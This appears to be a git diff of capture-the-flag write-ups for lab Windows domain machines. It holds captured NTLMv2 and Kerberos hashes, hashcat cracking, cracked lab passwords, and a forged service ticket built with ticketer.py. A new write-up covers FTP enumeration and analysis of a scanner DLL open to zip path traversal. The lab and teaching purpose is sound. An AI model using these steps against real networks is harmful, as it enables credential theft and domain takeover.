-800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:e12f3b9dfbb7d4ae:815350FE8EBEC44476CF77066A2D671D:010100000000000080E6583190EBDC01158D23F47AB455B5000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:4d93eb2355edabf4:C9489EF4B2789B70AA57E78160654A24:010100000000000080E6583190EBDC0199DD0DEA25210F3A000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:d5ad639acd376383:AA7606490EF36F54B74C24D36418EA50:010100000000000080E6583190EBDC01AC0B5313EADD0B9F000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:8fad973e9cefc7d9:202E318DCFB9DD5A7A359DDFC45E1034:010100000000000080E6583190EBDC01A2134B5E10D773A9000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:eacc521d18d72df9:C8005E93DF3B60E038C58D0E2AA2A771:010100000000000080E6583190EBDC01337AA383261EF25C000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:2485b7e3d5dd40d1:B137E840AEEB47FA348F802699E341EC:010100000000000080E6583190EBDC01759639589DAA7BBB000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:5df4cc9bfc87d71e:0834441C7254FA596B34DE30541AE82D:010100000000000080E6583190EBDC013671F75EB88D0918000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:6040ee7d08ecfe90:3B0E1F4337F0167102BC65E68831F6E6:010100000000000080E6583190EBDC01D5A94FA5C295D2F7000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:9c65145efadfe28f:0AAD5C4A7D8B3936FB36AB5699E29A2E:010100000000000080E6583190EBDC01606BA70AE7A661E5000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] ``` We take the very last one : @@ -584,10 +449,10 @@ We take the very last one : ```bash > nano /tmp/julia_clean.hash > cat /tmp/julia_clean.hash -Julia.Wong::BREACH:e9f17a081f69f2b8:C996FA7E1F3FE2AE577E0925156B4F1E:010100000000000080E6583190EBDC0108670B5B2086C31D000000000200080037004B004600480001001E00570049004E002D00380044003800510048005A003900480032005 -7004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B00460048002E004C004F004300410 -04C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A00100000000000000000000000000000000000090020006300690066007 -3002F00310030002E00310030002E00310034002E00310032000000000000000000 +[REDACTED] +[REDACTED] +[REDACTED] +[REDACTED] >  hashcat -m 5600 /tmp/julia_clean.hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt @@ -627,15 +492,15 @@ Dictionary cache hit: * Bytes.....: 139921497 * Keyspace..: 14344384 -JULIA.WONG::BREACH:e9f17a081f69f2b8:c996fa7e1f3fe2ae577e0925156b4f1e:010100000000000080e6583190ebdc0108670b5b2086c31d000000000200080037004b004600480001001e00570049004e002d00380044003800510048005a003900480032005 -7004b0004003400570049004e002d00380044003800510048005a0039004800320057004b002e0037004b00460048002e004c004f00430041004c000300140037004b00460048002e004c004f00430041004c000500140037004b00460048002e004c004f004300410 -04c000700080080e6583190ebdc010600040002000000080030003000000000000000010000000020000063c5753e55ae1f590f4d7512e9879d4dea1672e699407a3fa7f6821b29fff20c0a00100000000000000000000000000000000000090020006300690066007 -3002f00310030002e00310030002e00310034002e00310032000000000000000000:Computer1 +[REDACTED] +[REDACTED] +[REDACTED] +[REDACTED]                                                            Session..........: hashcat Status...........: Cracked Hash.Mode........: 5600 (NetNTLMv2) -Hash.Target......: JULIA.WONG::BREACH:e9f17a081f69f2b8:c996fa7e1f3fe2a...000000 +[REDACTED] Time.Started.....: Sun May 24 15:49:50 2026 (0 secs) Time.Estimated...: Sun May 24 15:49:50 2026 (0 secs) Kernel.Feature...: Pure Kernel (password length 0-256 bytes) @@ -663,10 +528,10 @@ We now get to the /share directory and extract from transfer (where we put the U >  smbclient //10.129.2.189/share -U 'JULIA.WONG%Computer1' -c 'get transfer\\JULIA.WONG\\user.txt user.txt exit' getting file \transfer\JULIA.WONG\user.txt of size 32 as user.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec) >  cat user.txt -55d33e52**************cfa103dda% +[REDACTED] ``` -We remove the dirty % and we got the user flag : 55d33*************03dda +We remove the dirty % and we got the user flag : [REDACTED] Now, we'll get into Julia Wong's computer, trying to find ways to privesc. @@ -707,17 +572,7 @@ MSSQLSvc/breachdc.breach.vl:1433  svc_mssql            2022-02-17 11 [-] CCache file is not found. Skipping... -$krb5tgs$23$*svc_mssql$BREACH.VL$breach.vl/svc_mssql*$6e2ebef1d6e171c1d7e27c00522a410c$6a12191cde59b99b1a92f418114e373162abc3eea63b0f14b8ecbfdad43f4d485d30e2f1d0d33fd6b0694b810adcdea9844aa6de24d240a296288092fcc -8d29e4f86d57091892f4a2617b0608f2a4ea106839b311aa2b459912708533db53c30f931a92c9d5bb9c49be4105e221cd7f7e0477a7ea35e228d6e37b9e45398c717e2846b969ca933e93a2c66cca02549f04a7b56d7ba90dfbd8b60581471d0c2b33b6a3ad7a8036 -eae1b3556ed7d6e393fb29fa52f2a836a537c538a6aefcd3ce30b1a18b27fe38db349ec299d7a3e1efa7bcc8c25f6a2bf82a46eee139a2fdb15c393e977881e8dee27e3f553d397661eb94d15bd12eec32d171278a00e377b7edab9e35a465ff9012f5d9f79ba5fc8d -cb5e88f0a512b0b8a459bba2b58bb99505913c8b4d8474f0b2f7d2915f6a2a3851b7d691d8823de116b19f2406cd74eb8e789f958db65cfeddc7faeeee5f0b946c0bff12545cb6760c938e5b6c78558fe88cc2c9a8d49e8707cd81143865930f543d3f74a7b8c077fd -8bf137a1387a393d48fed7ffa7a9bc0ec5d2b8256548549f2c1034d438792d81134b2adf8bf81a9cee287498996e9d93b9917bae1b88d33b2af7cb763ac0907a27dc3bd3fc46595224a354d2cd5e9903809c16486e1b489b638ab278496a23c2b461e59c13cd3562b9 -95da045531eaf273d45040059e25f8b74cdaa928b097ee585388c7d55fbc7615563f4c9e6588bcf01b4956c280a2fd3be0b28d68858dc90c4556df06267147c0951cb714e83f4efe3e63e5f56db9069d512a3f67efda7041cdb404e4ce80d5fdf9e4f15cee3de5c11c -c376a0815d5471479d1950e61686ea2d60363864261c08c11524e60c62466f2d20a71c231820c8bb70d7eb0877d0268797edf78fcf8b795af2482299c35995301a346f41dd9ffd24f8492055ad224dc03fcb48a7bb86bae91b2639d296b9715e0bc71cd90cd78cad61 -a76f922cae1703c32bb7d4b92edfee491323dfde7057ba4be69bb68b58f953f4be62860c4614233c0b34eeb9f1b1a5a81dbfa15263ae03b69a6ad2161fcc6ffaa4f2194ceef08b2452505b16a5fbb5f232a943d994287f98914c3d08d3c3eee11298ee64799e324b99 -96ff1b8fe82738bf8f2d598835469f58bc9a1e924fbd2227a75dea5c9cad5f8d85858efdd0ee6c64d7ec21604a892c0a8c7f0e042d1f4fcaac1aaa36f373d581542a5ae2d6ab1178b264530cfebc4c949040b9d088bcc345f251dc27148a05d4a077a9cc720d873aac -ab82381d8b1e05ee1e2c4f20003c6f27c5118c811df398d276098ee918f2c45508d553c414c58954389b9b6e287756a8f2a1f7c5800f5304d929b714b9df665750f8696936f8701316871dbb107af20ebe10c685999665a399d0393265b927366e68ac7b6c8d1464fb -a253cd587dd289a0fb4353482213fb858dde3519565daebaea1bd019d4d672ba290ef233c6d +[REDACTED] ``` We found `svc_mssql` with a `krb5tgs` hash, hinting for a Kerberos ticket. @@ -761,22 +616,12 @@ Dictionary cache hit: * Bytes.....: 139921497 * Keyspace..: 14344384 -$krb5tgs$23$*svc_mssql$BREACH.VL$breach.vl/svc_mssql*$6e2ebef1d6e171c1d7e27c00522a410c$6a12191cde59b99b1a92f418114e373162abc3eea63b0f14b8ecbfdad43f4d485d30e2f1d0d33fd6b0694b810adcdea9844aa6de24d240a296288092fcc -8d29e4f86d57091892f4a2617b0608f2a4ea106839b311aa2b459912708533db53c30f931a92c9d5bb9c49be4105e221cd7f7e0477a7ea35e228d6e37b9e45398c717e2846b969ca933e93a2c66cca02549f04a7b56d7ba90dfbd8b60581471d0c2b33b6a3ad7a8036 -eae1b3556ed7d6e393fb29fa52f2a836a537c538a6aefcd3ce30b1a18b27fe38db349ec299d7a3e1efa7bcc8c25f6a2bf82a46eee139a2fdb15c393e977881e8dee27e3f553d397661eb94d15bd12eec32d171278a00e377b7edab9e35a465ff9012f5d9f79ba5fc8d -cb5e88f0a512b0b8a459bba2b58bb99505913c8b4d8474f0b2f7d2915f6a2a3851b7d691d8823de116b19f2406cd74eb8e789f958db65cfeddc7faeeee5f0b946c0bff12545cb6760c938e5b6c78558fe88cc2c9a8d49e8707cd81143865930f543d3f74a7b8c077fd -8bf137a1387a393d48fed7ffa7a9bc0ec5d2b8256548549f2c1034d438792d81134b2adf8bf81a9cee287498996e9d93b9917bae1b88d33b2af7cb763ac0907a27dc3bd3fc46595224a354d2cd5e9903809c16486e1b489b638ab278496a23c2b461e59c13cd3562b9 -95da045531eaf273d45040059e25f8b74cdaa928b097ee585388c7d55fbc7615563f4c9e6588bcf01b4956c280a2fd3be0b28d68858dc90c4556df06267147c0951cb714e83f4efe3e63e5f56db9069d512a3f67efda7041cdb404e4ce80d5fdf9e4f15cee3de5c11c -c376a0815d5471479d1950e61686ea2d60363864261c08c11524e60c62466f2d20a71c231820c8bb70d7eb0877d0268797edf78fcf8b795af2482299c35995301a346f41dd9ffd24f8492055ad224dc03fcb48a7bb86bae91b2639d296b9715e0bc71cd90cd78cad61 -a76f922cae1703c32bb7d4b92edfee491323dfde7057ba4be69bb68b58f953f4be62860c4614233c0b34eeb9f1b1a5a81dbfa15263ae03b69a6ad2161fcc6ffaa4f2194ceef08b2452505b16a5fbb5f232a943d994287f98914c3d08d3c3eee11298ee64799e324b99 -96ff1b8fe82738bf8f2d598835469f58bc9a1e924fbd2227a75dea5c9cad5f8d85858efdd0ee6c64d7ec21604a892c0a8c7f0e042d1f4fcaac1aaa36f373d581542a5ae2d6ab1178b264530cfebc4c949040b9d088bcc345f251dc27148a05d4a077a9cc720d873aac -ab82381d8b1e05ee1e2c4f20003c6f27c5118c811df398d276098ee918f2c45508d553c414c58954389b9b6e287756a8f2a1f7c5800f5304d929b714b9df665750f8696936f8701316871dbb107af20ebe10c685999665a399d0393265b927366e68ac7b6c8d1464fb -a253cd587dd289a0fb4353482213fb858dde3519565daebaea1bd019d4d672ba290ef233c6d:Trustno1 +[REDACTED]                                                            Session..........: hashcat Status...........: Cracked Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP) -Hash.Target......: $krb5tgs$23$*svc_mssql$BREACH.VL$breach.vl/svc_mssq...233c6d +[REDACTED] Time.Started.....: Sun May 24 16:23:02 2026 (0 secs) Time.Estimated...: Sun May 24 16:23:02 2026 (0 secs) Kernel.Feature...: Optimized Kernel (password length 0-31 bytes) @@ -905,7 +750,7 @@ S-1-5-21-2330692793-3312915120-706255856 >  pypykatz crypto nt Trustno1 -69596c7aa1e8daee17f8e78870e25a5c +[REDACTED] ``` We got our ticket ingredients, along with the `DNS_Computer_Name: BREACHDC.breach.vl` from `tcp/1433` we got from enumeration. Enumeration is key. @@ -915,7 +760,7 @@ We can now use `ticketer.py` from Impacket. ```bash >  ticketer.py -spn 'MSSQLSvc/BREACHDC.breach.vl:1433' \ > -domain-sid 'S-1-5-21-2330692793-3312915120-706255856' \                                                           -> -nthash '69596c7aa1e8daee17f8e78870e25a5c' \                                                 +> -nthash [REDACTED] \                                                 > -domain breach.vl -dc-ip 10.129.2.189 \                                                      > -user-id 500 Administrator                                                                                                   Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies   @@ -1218,7 +1063,7 @@ And we read it : ```bash >  cat root.txt -fc98f41**********e64345% +[REDACTED] ``` -Root flag : fc98f4*************e64345 +Root flag : [REDACTED] \ No newline at end of file diff --git a/Bruno [MEDIUM].md b/Bruno [MEDIUM].md new file mode 100644 index 0000000..a0116e8 --- /dev/null +++ b/Bruno [MEDIUM].md @@ -0,0 +1,830 @@ +Target : 10.129.238.9 + +Date : 27/06/2026 + +```bash +>  echo "10.129.238.9 bruno.htb" | sudo tee -a /etc/hosts +Please touch the FIDO authenticator. +10.129.238.9 bruno.htb +>  nmap -sC -sV -O -Pn -p- --min-rate=3000 -T4 10.129.238.9 +Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-27 15:22 +0200 +Nmap scan report for bruno.htb (10.129.238.9) +Host is up (0.045s latency). +Not shown: 65511 filtered tcp ports (no-response) +PORT      STATE SERVICE       VERSION +21/tcp    open  ftp           Microsoft ftpd +| ftp-anon: Anonymous FTP login allowed (FTP code 230) +| 06-29-22  04:55PM                 app +| 06-29-22  04:33PM                 benign +| 06-29-22  01:41PM                 malicious +|_06-29-22  04:33PM                 queue +| ftp-syst:   +|_  SYST: Windows_NT +53/tcp    open  domain        Simple DNS Plus +80/tcp    open  http          Microsoft IIS httpd 10.0 +| http-methods:   +|_  Potentially risky methods: TRACE +|_http-server-header: Microsoft-IIS/10.0 +|_http-title: IIS Windows Server +88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-06-27 13:23:14Z) +135/tcp   open  msrpc         Microsoft Windows RPC +139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn +389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: bruno.vl, Site: Default-First-Site-Name) +|_ssl-date: 2026-06-27T13:24:47+00:00; +1s from scanner time. +| ssl-cert: Subject:   +| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO +| Not valid before: 2025-10-09T09:54:08 +|_Not valid after:  2105-10-09T09:54:08 +443/tcp   open  ssl/https? +| tls-alpn:   +|   h2 +|_  http/1.1 +| ssl-cert: Subject: commonName=bruno-BRUNODC-CA +| Not valid before: 2022-06-29T13:23:01 +|_Not valid after:  2121-06-29T13:33:00 +|_ssl-date: TLS randomness does not represent time +445/tcp   open  microsoft-ds? +464/tcp   open  kpasswd5? +593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0 +636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: bruno.vl, Site: Default-First-Site-Name) +| ssl-cert: Subject:   +| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO +| Not valid before: 2025-10-09T09:54:08 +|_Not valid after:  2105-10-09T09:54:08 +|_ssl-date: 2026-06-27T13:24:47+00:00; +1s from scanner time. +3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: bruno.vl, Site: Default-First-Site-Name) +|_ssl-date: 2026-06-27T13:24:47+00:00; +1s from scanner time. +| ssl-cert: Subject:   +| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO +| Not valid before: 2025-10-09T09:54:08 +|_Not valid after:  2105-10-09T09:54:08 +3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: bruno.vl, Site: Default-First-Site-Name) +| ssl-cert: Subject:   +| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO +| Not valid before: 2025-10-09T09:54:08 +|_Not valid after:  2105-10-09T09:54:08 +|_ssl-date: 2026-06-27T13:24:47+00:00; +1s from scanner time. +3389/tcp  open  ms-wbt-server Microsoft Terminal Services +| ssl-cert: Subject: commonName=brunodc.bruno.vl +| Not valid before: 2026-06-25T20:44:37 +|_Not valid after:  2026-12-25T20:44:37 +|_ssl-date: 2026-06-27T13:24:47+00:00; +1s from scanner time. +| rdp-ntlm-info:   +|   Target_Name: BRUNO +|   NetBIOS_Domain_Name: BRUNO +|   NetBIOS_Computer_Name: BRUNODC +|   DNS_Domain_Name: bruno.vl +|   DNS_Computer_Name: brunodc.bruno.vl +|   DNS_Tree_Name: bruno.vl +|   Product_Version: 10.0.20348 +|_  System_Time: 2026-06-27T13:24:07+00:00 +5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) +|_http-title: Not Found +|_http-server-header: Microsoft-HTTPAPI/2.0 +9389/tcp  open  mc-nmf        .NET Message Framing +49664/tcp open  msrpc         Microsoft Windows RPC +49669/tcp open  msrpc         Microsoft Windows RPC +60872/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0 +60873/tcp open  msrpc         Microsoft Windows RPC +61843/tcp open  msrpc         Microsoft Windows RPC +61848/tcp open  msrpc         Microsoft Windows RPC +61884/tcp open  msrpc         Microsoft Windows RPC +Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port +Device type: general purpose +Running (JUST GUESSING): Microsoft Windows 2022|10|11|2012|2016 (89%) +OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_11 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016 +Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows 10 1703 or Windows 11 21H2 - 23H2 (85%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%) +No exact OS matches for host (test conditions non-ideal). +Service Info: Host: BRUNODC; OS: Windows; CPE: cpe:/o:microsoft:windows + +Host script results: +| smb2-time:   +|   date: 2026-06-27T13:24:08 +|_  start_date: N/A +| smb2-security-mode:   +|   3.1.1:   +|_    Message signing enabled and required + +OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . +Nmap done: 1 IP address (1 host up) scanned in 145.49 seconds +``` + +We've got `brunodc.bruno.vl, DNS:bruno.vl` which we'll add to our hosts, and an open `ftp 21/tcp` port which is unusual for an Active Directory, `DNS 53/tcp`, and the usual Active Directory ports : `kerberos 88/tcp, smb 445/tcp, LDAP 389/tcp and 3268/tcp, msrpc 135/tcp, netBIOS 139/tcp` but also `http 80/tcp and ssl/https? 443/tcp, ssl/ldap 636/tcp` and "ms-wbt-server" `3389/tcp`, `RPC over HTTP` and `HTTPAPI`. + +We'll start by investigating the outliar : + +```bash +>  ftp -invp 10.129.238.9 +Connected to 10.129.238.9. +220 Microsoft FTP Service +Remote system type is Windows_NT. +ftp> user ftp +331 Anonymous access allowed, send identity (e-mail name) as password. +Password:   +230 User logged in. +ftp> ls +227 Entering Passive Mode (10,129,238,9,252,238). +125 Data connection already open; Transfer starting. +06-29-22  04:55PM                 app +06-29-22  04:33PM                 benign +06-29-22  01:41PM                 malicious +06-29-22  04:33PM                 queue +``` + +We find two `directories` with `executables and .json files` : + +```bash +ftp> cd app +250 CWD command successful. +ftp> ls +227 Entering Passive Mode (10,129,238,9,252,241). +125 Data connection already open; Transfer starting. +06-29-22  05:42PM                  165 changelog +06-28-22  07:15PM                  431 SampleScanner.deps.json +06-29-22  03:58PM                 7168 SampleScanner.dll +06-29-22  03:58PM               174592 SampleScanner.exe +06-28-22  07:15PM                  170 SampleScanner.runtimeconfig.dev.json +06-28-22  07:15PM                  154 SampleScanner.runtimeconfig.json + +ftp> cd / +250 CWD command successful. +ftp> cd benign +250 CWD command successful. +ftp> ls +227 Entering Passive Mode (10,129,238,9,252,243). +125 Data connection already open; Transfer starting. +06-29-22  04:32PM                    4 test.exe +``` + +We'll reconnect to `ftp` in `binary` to avoid errors and get the files into `~/htb/bruno`: + +``` +ftp -inv 10.129.238.9 <<'EOF' +user anonymous anonymous +binary +cd app +get SampleScanner.dll +get SampleScanner.exe +get changelog +get SampleScanner.runtimeconfig.dev.json +get SampleScanner.deps.json +bye +EOF +Connected to 10.129.238.9. +220 Microsoft FTP Service +Remote system type is Windows_NT. +331 Anonymous access allowed, send identity (e-mail name) as password. +230 User logged in. +200 Type set to I. +250 CWD command successful. +200 PORT command successful. +125 Data connection already open; Transfer starting. +226 Transfer complete. +7168 bytes received in 0.0527 seconds (132.9276 kbytes/s) +200 PORT command successful. +125 Data connection already open; Transfer starting. +226 Transfer complete. +174592 bytes received in 0.1798 seconds (948.0450 kbytes/s) +200 PORT command successful. +125 Data connection already open; Transfer starting. +226 Transfer complete. +165 bytes received in 0.0319 seconds (5.0577 kbytes/s) +200 PORT command successful. +125 Data connection already open; Transfer starting. +226 Transfer complete. +170 bytes received in 0.0318 seconds (5.2136 kbytes/s) +200 PORT command successful. +150 Opening BINARY mode data connection. +226 Transfer complete. +431 bytes received in 0.0317 seconds (13.2879 kbytes/s) +221 Goodbye. +``` + +```bash +>  echo "10.129.238.9 bruno.htb brunodc.bruno.vl bruno.vl" | sudo tee -a /etc/hosts +Please touch the FIDO authenticator. +10.129.238.9 bruno.htb brunodc.bruno.vl bruno.vl +``` + +Then, we look inside the files : + +```bash +>  file SampleScanner.dll +SampleScanner.dll: PE32+ executable for MS Windows 4.00 (console), x86-64 Mono/.Net assembly, 2 sections +>  strings -n 6 SampleScanner.dll +!This program cannot be run in DOS mode. +`.rsrc +v4.0.30319 +#Strings +d__0 +IEnumerable`1 +ReadOnlyCollection`1 +IEnumerator`1 +5__2 + +get_ASCII +System.IO +System.Collections.Generic +get_CurrentManagedThreadId +<>l__initialThreadId +OpenRead +Replace +<>3__source +IEnumerable +IDisposable +ExtractToFile +System.IO.Compression.ZipFile +get_FullName +System.Runtime +Combine +System.IDisposable.Dispose +<>1__state +Delete +CompilerGeneratedAttribute +DebuggableAttribute +AssemblyTitleAttribute +IteratorStateMachineAttribute +TargetFrameworkAttribute +DebuggerHiddenAttribute +AssemblyFileVersionAttribute +AssemblyInformationalVersionAttribute +AssemblyConfigurationAttribute +CompilationRelaxationsAttribute +AssemblyProductAttribute +AssemblyCompanyAttribute +RuntimeCompatibilityAttribute +ZipArchive +Encoding +System.Runtime.Versioning +String +System.Diagnostics.Debug +EndsWith +SequenceEqual +System.Collections.ObjectModel +SampleScanner.dll +Program +System.IO.FileSystem +System.IO.Compression +System.Reflection +SearchOption +NotSupportedException +<>3__pattern +System.Linq +SampleScanner +IEnumerator +System.Collections.Generic.IEnumerable.GetEnumerator +System.Collections.IEnumerable.GetEnumerator +System.Diagnostics +System.Runtime.CompilerServices +DebuggingModes +get_Entries +GetFiles +ReadAllBytes +GetBytes +System.Runtime.Extensions +ZipFileExtensions +System.Collections +PatternAt +Object +System.Collections.IEnumerator.Reset +Environment +System.Collections.Generic.IEnumerator.Current +System.Collections.IEnumerator.Current +System.Collections.Generic.IEnumerator.get_Current +System.Collections.IEnumerator.get_Current +<>2__current +MoveNext +System.Text +Directory +ZipArchiveEntry +WrapNonExceptionThrows +.NETCoreApp,Version=v3.1 +FrameworkDisplayName +SampleScanner +Release +1.0.0.0 +%SampleScanner.Program+d__0 +C:\Users\xct\source\repos\SampleScanner\obj\x64\Release\netcoreapp3.1\SampleScanner.pdb +SHA256 + + +  +  +    +      +        +      +    +  + +``` + +`GetFiles, SearchOption and Directory` list files, then `EndsWith / ZipFileExtensions` keeps .zip files, `ZipArchive` opens the archives and inspects the entries, then `Combine` builds the destination point where the extraction should be written then extracts them, usually inside the `baseFolder` (unless it has an absolute path, which can be abused). `ReadAllBytes, GetBytes and PatternAt` look for `Byte Pattern(s)` inside the unzipped 